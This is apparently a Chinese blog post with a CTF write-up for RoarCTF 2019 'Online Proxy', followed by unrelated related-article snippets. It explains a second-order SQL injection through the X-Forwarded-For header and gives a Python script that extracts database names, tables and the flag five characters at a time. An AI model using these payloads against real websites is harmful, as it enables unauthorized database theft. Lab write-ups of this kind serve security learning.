当前位置: 首页 > news >正文

[RoarCTF 2019Online Proxy]sql巧妙盲注

文章目录

    • [RoarCTF 2019Online Proxy]sql巧妙盲注
      • 解题
      • 脚本
        • 脚本解析

[RoarCTF 2019Online Proxy]sql巧妙盲注

解题

在源代码界面发现:Current Ip

image-20230809221921490

我们会联想到:X-Forwarded-For来修改ip:

image-20230809222053377

结果我们发现,response会讲Last Ip回显出来,并且我们使用dirsearch扫描到了db.php

image-20230809222306594

我们自然会联想到数据库。当我们使用X-Forwarded-For请求的时候,会将上一次的值回显在Last Ip

这里应该是存在sql注入的。

如果我们传递一个sql进入XFF中,然后第二次随便输入一个值,将sql存入数据库,第三次再输入同一个值,就会发生sql查询,将之前的sql语句查询出来,造成二次注入

我们验证可以使用单引号闭合

第一次XFF:0’ or '114514 ,第二次:leekos, 第三次:leekos

在第三次就会查询出114514

脚本

所以我们就需要编写脚本了:

import requestsurl = "http://node4.buuoj.cn:27640/"
def execsql(sql):result = ""payload = "0'|length(("+sql+"))|'0"session = requests.session()r = session.get(url,headers={'X-Forwarded-For':payload})r = session.get(url,headers={'X-Forwarded-For':'leekos'})r = session.get(url,headers={'X-Forwarded-For':'leekos'})start = r.text.find("Last Ip: ") + 9end = r.text.find(" -->",start)length = int(r.text[start:end])print("[+]长度:"+str(length))for i in range(1,length+1,5): # 1次查5个字符,妙payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql,i)r = session.get(url, headers={'X-Forwarded-For': payload})r = session.get(url, headers={'X-Forwarded-For': 'leekos'})r = session.get(url, headers={'X-Forwarded-For': 'leekos'})start = r.text.find("Last Ip: ") + 9end = r.text.find(" -->", start)res = int(r.text[start:end])result += bytes.fromhex(hex(res)[2:]).decode("utf-8")print(result)return result# print("数据库名:" + execsql("select group_concat(schema_name) from information_schema.schemata"))
# print("表名:" + execsql("select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'"))
# print("列名:" + execsql("select group_concat(column_name) from information_schema.columns where table_name = 'F4l9_t4b1e' and table_schema='F4l9_D4t4B45e'"))
print("flag:" + execsql("select group_concat(`F4l9_C01uMn`) from F4l9_D4t4B45e.F4l9_t4b1e"))

脚本解析

这个脚本非常的巧妙,与我之前接触的脚本不同,这个脚本可以通过盲注,一次查询多个字符

原理就是将字符串转为16进制,再转为10进制,读出来,最后重新将10进制转为16进制,最后转为字符串,利用的就是

字符串与16进制之间的转化

举个例子:

hex('abc')=616263 ,然后通过sql函数conv(hex('abc'),16,10) = 6382179 将abc的16进制转为10进制

在sql中16进制可以自动转为字符串:

image-20230809224024056

这种做法大大提高了查询的速度!

bytes.fromhex() 这个函数是将16进制数字转为字节,然后decode()解码为字符

整个脚本的重点就是如下:

payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql,i)res = int(r.text[start:end])
result += bytes.fromhex(hex(res)[2:]).decode("utf-8")

首先通过sql查询,将部分结果拿出,然后转为16进制,再转为10进制

然后将requests的返回结果取出,转为16进制,最后转为字符

这样实现了一次查询多个字符

相关文章:

[RoarCTF 2019Online Proxy]sql巧妙盲注

文章目录 [RoarCTF 2019Online Proxy]sql巧妙盲注解题脚本脚本解析 [RoarCTF 2019Online Proxy]sql巧妙盲注 解题 在源代码界面发现:Current Ip 我们会联想到:X-Forwarded-For来修改ip: 结果我们发现,response会讲Last Ip回显出…...

flutter开发实战-just_audio实现播放音频暂停音频设置音量等

flutter开发实战-just_audio实现播放音频暂停音频设置音量等 最近开发过程中遇到需要播放背景音等音频播放,这里使用just_audio来实现播放音频暂停音频设置音量等 一、引入just_audio 在pubspec.yaml引入just_audio just_audio: ^2.7.0在iOS上,video_p…...

【Bert101】最先进的 NLP 模型解释【01/4】

0 什么是伯特? BERT是来自【Bidirectional Encoder Representations from Transformers】变压器的双向编码器表示的缩写,是用于自然语言处理的机器学习(ML)模型。它由Google AI Language的研究人员于2018年开发,可作为…...

c语言经典例题讲解(输出菱形,喝汽水问题)

目录 一、输出菱形 二、喝汽水问题 方法1:一步一步来 方法二:直接套公式 一、输出菱形 输出类似于下图的菱形: 通过分析:1、先分为上下两部分输出 2.在输出前先输出空格 3.找规律进行输出 可知,可令上半部分lin…...

【Flutter】【基础】CustomPaint 绘画功能(一)

功能:CustomPaint 相当于在一个画布上面画画,可以自己绘制不同的颜色形状等 在各种widget 或者是插件不能满足到需求的时候,可以自己定义一些形状 使用实例和代码: CustomPaint: 能使你绘制的东西显示在你的ui 上面&a…...

iOS 实现图片高斯模糊效果

效果图 用到了 UIVisualEffectView 实现代码 - (UIVisualEffectView *)bgEffectView{if(!_bgEffectView){UIBlurEffect *blur [UIBlurEffect effectWithStyle:UIBlurEffectStyleLight];_bgEffectView [[UIVisualEffectView alloc] initWithEffect:blur];}return _bgEffect…...

[保研/考研机试] KY7 质因数的个数 清华大学复试上机题 C++实现

描述 求正整数N(N>1)的质因数的个数。 相同的质因数需要重复计算。如1202*2*2*3*5&#xff0c;共有5个质因数。 输入描述&#xff1a; 可能有多组测试数据&#xff0c;每组测试数据的输入是一个正整数N&#xff0c;(1<N<10^9)。 输出描述&#xff1a; 对于每组数…...

初识Redis

目录 认识Redis分布式系统Redis的特性Redis的应用场景Redis客户端Redis命令 认识Redis 上面一段话是官网给出的对Redis的介绍&#xff0c;in-memory data store表明Redis是在内存中存储数据的&#xff0c;这和我们接触的其他数据库就有很大的不同&#xff0c;比如MySQL&#xf…...

每天一道leetcode:115. 不同的子序列(动态规划困难)

今日份题目&#xff1a; 给你两个字符串 s 和 t &#xff0c;统计并返回在 s 的 子序列 中 t 出现的个数。 题目数据保证答案符合 32 位带符号整数范围。 示例1 输入&#xff1a;s "rabbbit", t "rabbit" 输出&#xff1a;3 解释&#xff1a; 如下所…...

服务器数据恢复-RAID5多块磁盘离线导致崩溃的数据恢复案例

服务器数据恢复环境&#xff1a; DELL POWEREDGE某型号服务器中有一组由6块SCSI硬盘组建的RAID5阵列&#xff0c;LINUX REDHAT操作系统&#xff0c;EXT3文件系统&#xff0c;存放图片文件。 服务器故障&分析&#xff1a; 服务器raid5阵列中有一块硬盘离线&#xff0c;管理员…...

NO.2 MyBatis框架:创建Mapper接口和映射文件,实现基本增删改查

目录 1、Mapper接口和映射文件关系 2、Mapper接口和映射文件的命名规则 2.1 Mapper接口的命名规则 2.2 映射文件的命名规则 3、Mapper接口和映射文件的创建及增删改查的实现 3.1 Mapper接口和映射文件的创建 3.2 增删改查的实现 3.2.1表结构 3.2.2 创建表User对应的实…...

【JS】怎么提取object类的内容

需求&#xff1a;在网页端中通过getElementsByClassName获取到一个元素&#xff0c;想提取其中的数字内容做个if判断&#xff0c;奈何一直提取不了 开始获取元素时&#xff0c;以为默认就是字符类型&#xff1b;但使用操作字符的函数就失败&#xff0c;然后就考虑数据类型是不是…...

分布式系统的 38 个知识点

天天说分布式分布式&#xff0c;那么我们是否知道什么是分布式&#xff0c;分布式会遇到什么问题&#xff0c;有哪些理论支撑&#xff0c;有哪些经典的应对方案&#xff0c;业界是如何设计并保证分布式系统的高可用呢&#xff1f; 1. 架构设计 这一节将从一些经典的开源系统架…...

机器学习基础(二)

线性回归 误差是独立并且具有相同的分布通常认为服从均值为0方差为的高斯分布。 损失函数(loss Function)/代价函数(Cost Function) 其实两种叫法都可以,损失函数(loss function)或代价函数(cost function)是将随机事件或其有关随机变量的取值映射为非负实数以表示该随…...

Java 实现Rtsp 转rtmp,hls,flv

服务支撑&#xff1a;FFmpeg srs(流媒体服务器) 整个流程是 FFmpeg 收流转码 推 rtmp 到流媒体服务 流媒体服务再 分发流到公网 搭建流媒体服务: 1. SRS (Simple Realtime Server) | SRS &#xff08;本例子使用的是SrS 安装使用docker &#xff09; 2.GitHub - ZLMedi…...

机器学习基础(三)

逻辑回归 场景 垃圾邮件分类 预测肿瘤是良性还是恶性 预测某人的信用是否良好 正确率与召回率 正确率与召回率(Precision & Recall)是广泛应用于信息检索和统计学分类领域的两个度量值,用来评价结果的质量。 一般来说,正确率就是检索出来的条目有多少是正确的,召回率就…...

Kubeadm安装K8s集群

一、硬件环境 准备3台Linux服务器&#xff0c;此处用Vmware虚拟机。 主机名CPU内存k8smaster2核4Gk8snode12核4Gk8snode22核4G 二、系统前置准备 配置三台主机的hosts文件 cat << EOF > /etc/hosts 192.168.240.130 k8smaster 192.168.240.132 k8snode1 192.168.…...

【C++】开源:spdlog跨平台日志库配置使用

&#x1f60f;★,:.☆(&#xffe3;▽&#xffe3;)/$:.★ &#x1f60f; 这篇文章主要介绍spdlog日志库配置使用。 无专精则不能成&#xff0c;无涉猎则不能通。——梁启超 欢迎来到我的博客&#xff0c;一起学习&#xff0c;共同进步。 喜欢的朋友可以关注一下&#xff0c;下…...

[Azkaban] No active executors found

没有找到活动的executors&#xff0c;需在MySQL数据库里设置端口为12321的executors表的active为1&#xff1a; select * from executors;如果显示active0 则需要进行处理&#xff1a; update azkaban.executors set active1;当active0&#xff0c;更新为1时&#xff0c;用 n…...

无涯教程-Perl - recv函数

描述 This function receives a message on SOCKET attempting to read LENGTH bytes, placing the data read into variable SCALAR.The FLAGS argument takes the same values as the recvfrom( ) system function, on which the function is based. When communicating wit…...

C++初阶-list的底层

目录 1.std::list实现的所有代码 2.list的简单介绍 2.1实现list的类 2.2_list_iterator的实现 2.2.1_list_iterator实现的原因和好处 2.2.2_list_iterator实现 2.3_list_node的实现 2.3.1. 避免递归的模板依赖 2.3.2. 内存布局一致性 2.3.3. 类型安全的替代方案 2.3.…...

对WWDC 2025 Keynote 内容的预测

借助我们以往对苹果公司发展路径的深入研究经验&#xff0c;以及大语言模型的分析能力&#xff0c;我们系统梳理了多年来苹果 WWDC 主题演讲的规律。在 WWDC 2025 即将揭幕之际&#xff0c;我们让 ChatGPT 对今年的 Keynote 内容进行了一个初步预测&#xff0c;聊作存档。等到明…...

P3 QT项目----记事本(3.8)

3.8 记事本项目总结 项目源码 1.main.cpp #include "widget.h" #include <QApplication> int main(int argc, char *argv[]) {QApplication a(argc, argv);Widget w;w.show();return a.exec(); } 2.widget.cpp #include "widget.h" #include &q…...

【android bluetooth 框架分析 04】【bt-framework 层详解 1】【BluetoothProperties介绍】

1. BluetoothProperties介绍 libsysprop/srcs/android/sysprop/BluetoothProperties.sysprop BluetoothProperties.sysprop 是 Android AOSP 中的一种 系统属性定义文件&#xff08;System Property Definition File&#xff09;&#xff0c;用于声明和管理 Bluetooth 模块相…...

拉力测试cuda pytorch 把 4070显卡拉满

import torch import timedef stress_test_gpu(matrix_size16384, duration300):"""对GPU进行压力测试&#xff0c;通过持续的矩阵乘法来最大化GPU利用率参数:matrix_size: 矩阵维度大小&#xff0c;增大可提高计算复杂度duration: 测试持续时间&#xff08;秒&…...

处理vxe-table 表尾数据是单独一个接口,表格tableData数据更新后,需要点击两下,表尾才是正确的

修改bug思路&#xff1a; 分别把 tabledata 和 表尾相关数据 console.log() 发现 更新数据先后顺序不对 settimeout延迟查询表格接口 ——测试可行 升级↑&#xff1a;async await 等接口返回后再开始下一个接口查询 ________________________________________________________…...

02.运算符

目录 什么是运算符 算术运算符 1.基本四则运算符 2.增量运算符 3.自增/自减运算符 关系运算符 逻辑运算符 &&&#xff1a;逻辑与 ||&#xff1a;逻辑或 &#xff01;&#xff1a;逻辑非 短路求值 位运算符 按位与&&#xff1a; 按位或 | 按位取反~ …...

Java 与 MySQL 性能优化:MySQL 慢 SQL 诊断与分析方法详解

文章目录 一、开启慢查询日志&#xff0c;定位耗时SQL1.1 查看慢查询日志是否开启1.2 临时开启慢查询日志1.3 永久开启慢查询日志1.4 分析慢查询日志 二、使用EXPLAIN分析SQL执行计划2.1 EXPLAIN的基本使用2.2 EXPLAIN分析案例2.3 根据EXPLAIN结果优化SQL 三、使用SHOW PROFILE…...

CMS内容管理系统的设计与实现:多站点模式的实现

在一套内容管理系统中&#xff0c;其实有很多站点&#xff0c;比如企业门户网站&#xff0c;产品手册&#xff0c;知识帮助手册等&#xff0c;因此会需要多个站点&#xff0c;甚至PC、mobile、ipad各有一个站点。 每个站点关联的有站点所在目录及所属的域名。 一、站点表设计…...

MeanFlow:何凯明新作,单步去噪图像生成新SOTA

1.简介 这篇文章介绍了一种名为MeanFlow的新型生成模型框架&#xff0c;旨在通过单步生成过程高效地将先验分布转换为数据分布。文章的核心创新在于引入了平均速度的概念&#xff0c;这一概念的引入使得模型能够通过单次函数评估完成从先验分布到数据分布的转换&#xff0c;显…...